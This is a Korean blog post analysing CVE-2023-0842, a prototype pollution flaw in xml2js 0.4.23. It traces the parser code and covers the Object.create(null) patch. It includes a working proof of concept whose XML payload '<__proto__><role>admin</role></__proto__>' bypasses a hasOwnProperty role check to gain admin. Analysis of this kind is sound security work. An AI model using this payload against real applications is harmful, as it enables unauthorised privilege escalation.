Node JS Prototype Pollution은 Prototype의 특성을 이용하여 다른 객체들의 값을 오염시키는 공격 기법입니다.
객체의 프로토타입은 객체.__proto__를 통하여 참조할 수 있으며, 객체의 프로타입이 변경되면 해당 객체와 같은 프로토타입을 가진 모든 객체들에 변경사항이 적용되게 됩니다.
또한, 객체의 프로토타입은 Object.prototype과 동일하기 때문에 프로토타입의 변조를 통하여 일반적인 객체들의 속성을 제어할 수 있게됩니다.
아래의 예제를 통해 obj 객체의 프로토타입에 polluted 속성을 1로 지정한 결과, obj와 같은 프로토타입을 갖고 있는 obj2에도 polluted 속성이 1로 설정된 것을 확인할 수 있습니다.
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
obj.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.__proto__ === Object.prototype); // true
console.log(obj2.polluted); // 1
단, 아래와 같은 Prototype Pollution은 새로운 Prototype을 할당한 것으로 인식하여 해당 객체에만 영향을 줍니다. PoC 환경을 통한 취약점 재현 시에도 해당 객체에만 영향을 주고 있어 이미 생성된 객체나 이후 생성되는 객체들은 Prototype Pollution이 발생하지 않습니다.
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
obj["__proto__"] = {"polluted":1}
const obj2 = {};
console.log(obj2.__proto__ === Object.prototype); // true
console.log(obj.polluted); // 1
console.log(obj2.polluted); // undefined
Nodejs Prototype Pollution에 대한 자세한 설명이 궁금하신 분들은 아래의 포스팅을 참고해주세요
환경 구성
xml2js 0.4.23 설치
$ npm install xmljs@0.4.23
PoC 코드
- 사용자의 입력 값을 통해서 role을 admin으로 수정하려는 경우 Unatuthorized Action이 출력됨
- 그러나 malicious user의 실행 결과는 role이 admin으로 수정된 것을 확인할 수 있음
var parseString = require('xml2js').parseString;
const update_user = (userProp) => {
// A user cannot alter his role. This way we prevent privilege escalations.
parseString(userProp, function (err, user) {
// user 객체에 role attribute가 존재하며, 해당 값이 admin인 경우
if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
console.log("Unauthorized Action");
} else {
console.log(user?.role[0]);
}
});
}
let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";
update_user(normal_user_request); // Unauthorized Action
update_user(malicious_user_request); // admin
PoC 코드 분석
코드 분석 결과, CVE-2023-0842는 Parsing된 결과를 객체의 Attribute에 저장하는 과정에서 Prototype Pollution 취약점이 발생하고 있었습니다.
1. main.update_user() -> parser.parseString() -> sax.write() 호출
2. sax.write() 함수에서 parser.onopentag() 함수를 호출하여 stack 배열에 객체 저장
<__proto__><role>admin</role></__proto__>
-> stack[0] {_: '', #name: '__proto__'}
-> stack[1] {_: 'admin', #name: 'role'}
3. sax.write() 함수에서 parser.onclosetag() 함수를 호출하여 stack 배열에 저장된 객체를 지정된 Attribute에 저장함
stack[0] {_: '', #name: '__proto__'}
stack[1] {_: 'admin', #name: 'role'}
-> {}["__proto__"] = {"role" : ["admin"]}
4. 해당 객체는 parseString() 함수의 리턴 값으로 반환되며, .hasOwnProperty("Attribute")는 Prototype이 아닌 속성에 대해서만 확인 후 반환하기 때문에, Unauthorized Action 검증을 우회할 수 있음
해당 취약점에 대한 주요 로직은 아래와 같은 흐름으로 동작합니다.
node_modules\xml2js\lib\parser.js
1. bom.stripBOM 함수를 이용하여 byte order mark(BOM) 제거
- str[0] === '\uFEFF' -> return str(substring(1);
2. sax의 write() 함수 실행
// parseString(userProp, function (err, user)
Parser.prototype.parseString = function(str, cb) {
// ...
str = bom.stripBOM(str);
// ...
return this.saxParser.write(str).close();
// ...
};
node_modules\sax\lib\sax.js
1. charAt() 함수를 통하여 userProp의 값을 한 글자씩 추출하여 parser.c에 저장
2. parser.state 값에 따라 특정 로직 수행
- OPEN_TAG
- Tag 사이의 문자열을 parser.tagName 변수에 저장 후 newTag() 함수를 호출하여 tagName에 해당하는 객체 생성
- 이후 openTag() 함수를 호출하여 stack 배열에 객체 저장
// sax.js
function write (chunk) {
// ...
case S.OPEN_TAG:
if (isMatch(nameBody, c)) {
parser.tagName += c
} else {
newTag(parser)
if (c === '>') {
openTag(parser)
// ...
}
}
function newTag (parser) {
// ...
parser.tagName = parser.tagName[parser.looseCase]()
var tag = parser.tag = { name: parser.tagName, attributes: {} }
// ...
emitNode(parser, 'onopentagstart', tag)
}
function openTag (parser, selfClosing) {
// ...
parser.sawRoot = true
parser.tags.push(parser.tag)
emitNode(parser, 'onopentag', parser.tag)
// ...
}
function emitNode (parser, nodeType, data) {
if (parser.textNode) closeText(parser)
emit(parser, nodeType, data)
}
function emit (parser, event, data) {
parser[event] && parser[event](data)
}
// parser.js
this.saxParser.onopentag = (function(_this) {
return function(node) {
// first call : node = {name: "__proto__", attributes: {}, isSelfClosing: false}
// second call : node = { name: "role", attributes: {}, isSelfClosing: false}
var key, newValue, obj, processedKey, ref;
obj = {};
obj[charkey] = ""; // charkey = "_"
// ...
obj["#name"] = _this.options.tagNameProcessors ? processItem(_this.options.tagNameProcessors, node.name) : node.name;
// ...
// first call : obj = {name: "__proto__", _: ""}
// second call : obj = {name: "role", _: ""}
return stack.push(obj);
};
})(this);
- CLOSE_TAG
- closeText() 함수를 호출하여 stack 배열에 담긴 "_" Attribute 값을 사용자가 입력한 값으로 설정
- parser.onclosetag() 함수를 호출하여 stack 배열에 저장된 객체를 하나의 객체로 변환 (Prototype Pollution)
- 해당 객체가 parseString 함수의 리턴 값으로 반환되어 Unauthorized Action 검증 우회
// sax.js
function write (chunk) {
// ...
case S.CLOSE_TAG:
if (!parser.tagName) {
// ...
} else if (c === '>') {
closeTag(parser)
// ...
}
function closeTag (parser) {
// ...
var s = parser.tags.length
while (s-- > t) {
var tag = parser.tag = parser.tags.pop()
parser.tagName = parser.tag.name
emitNode(parser, 'onclosetag', parser.tagName)
// ...
if (t === 0) parser.closedRoot = true
parser.tagName = parser.attribValue = parser.attribName = ''
parser.attribList.length = 0
parser.state = S.TEXT
}
function emitNode (parser, nodeType, data) {
if (parser.textNode) closeText(parser)
emit(parser, nodeType, data)
}
function closeText (parser) {
parser.textNode = textopts(parser.opt, parser.textNode)
if (parser.textNode) emit(parser, 'ontext', parser.textNode)
parser.textNode = ''
}
function emit (parser, event, data) {
parser[event] && parser[event](data)
}
// parser.js
ontext = (function(_this) {
return function(text) {
var charChild, s;
s = stack[stack.length - 1];
if (s) {
s[charkey] += text;
// ...
return s;
}
};
})(this);
this.saxParser.onclosetag = (function(_this) {
return function() {
var cdata, emptyStr, key, node, nodeName, obj, objClone, old, s, xpath;
// first call : stack[0]={name: "__proto__", _: ""}, stack[1]={name: "role", _: ""}
// second call : stack[0]={name: "__proto__", _: "", "role":["admin"]}
obj = stack.pop();
nodeName = obj["#name"];
if (!_this.options.explicitChildren || !_this.options.preserveChildrenOrder) {
delete obj["#name"];
}
// ...
// Shallow copy
// s = {name: "__proto__", _: ""}
s = stack[stack.length - 1];
if (obj[charkey].match(/^\s*$/) && !cdata) {
// ...
} else {
// ...
if (Object.keys(obj).length === 1 && charkey in obj && !_this.EXPLICIT_CHARKEY) {
obj = obj[charkey]; // obj : 'admin'
}
}
// ...
if (stack.length > 0) {
// Point 1 : s={name: "__proto__", _: ""}, nodeName='role', obj='admin'
return _this.assignOrPush(s, nodeName, obj);
} else {
if (_this.options.explicitRoot) {
// Point 2 : obj={role: ["admin"]}
old = obj;
obj = {};
// Vulnerability Point
// nodeName='__proto__'
obj[nodeName] = old; // {}['__proto__'] = {role: ["admin"]}
}
_this.resultObject = obj;
_this.saxParser.ended = true;
return _this.emit("end", _this.resultObject);
}
};
})(this);
Parser.prototype.assignOrPush = function(obj, key, newValue) {
if (!(key in obj)) {
if (!this.options.explicitArray) {
return obj[key] = newValue;
} else {
return obj[key] = [newValue]; // s['role'] = ['admin']
}
// ...
};
Parser.prototype.parseString = function(str, cb) {
var err;
if ((cb != null) && typeof cb === "function") {
this.on("end", function(result) { // result={}['__proto__'] = {role: ["admin"]}
this.reset();
return cb(null, result); // execute callback
});
parseString(userProp, function (err, user) {
// user={}['__proto__'] = {role: ["admin"]}
// hasOwnProperty("key')는 __proto__ 내 Attribute를 확인하지 않음 -> Bypass
if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
console.log("Unauthorized Action");
} else {
console.log(user?.role[0]);
}
});
패치 방법
패치된 Git Commit을 통하여 확인한 결과, xml2js는 객체 생성 시 Object.create(null)을 사용하여 Prototype을 상속받지 않도록 함으로써 Prototype Pollution을 예방한 것으로 보입니다.
this.saxParser.onopentag = (function(_this) {
return function(node) {
var key, newValue, obj, processedKey, ref;
obj = Object.create(null);
실제 패치된 버전에서 PoC 코드를 재현한 결과, 모든 Prototype을 상속받지 않아 Prototype 내의 Attribute를 사용할 수 없었습니다. 다만, parseString() 함수의 리턴 값에는 오염된 데이터가 포함되어 있어 개발자의 실수 등으로 인해 예상치 못한 결과가 발생할 수 있습니다.
var parseString = require('xml2js').parseString;
const update_user = (userProp) => {
// A user cannot alter his role. This way we prevent privilege escalations.
parseString(userProp, function (err, user) {
console.log(user?.role); // undefined
console.log(user.__proto__.role) // (1) ['admin']
});
}
let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";
update_user(malicious_user_request);
console.log("END")
위 PoC 코드에서는 다른 객체들의 Prototype 까지 오염시키지 못했지만, 어떠한 방법을 통해 다른 객체들의 Prototype을 오염시키는 것이 가능했고 이를 Object.create(null)로 패치했을 가능성이 있다고 생각합니다.
※ 추가 분석 계획 없음
'Hack > Web' 카테고리의 다른 글
CodeQL 설치 및 사용 방법 (0) | 2023.08.21 |
---|---|
[2020 Hitcon] Discover Vulnerabilities with CodeQL 번역 (0) | 2023.07.25 |
BitB (Browser in the Browser) 공격 (1) | 2023.04.23 |
[CVE-2023-20860] Spring Framework Improper Access Control (0) | 2023.03.26 |
[Kotlin] Use-Site Target이 존재하지 않을 경우 검증 우회 가능 (0) | 2023.02.21 |
댓글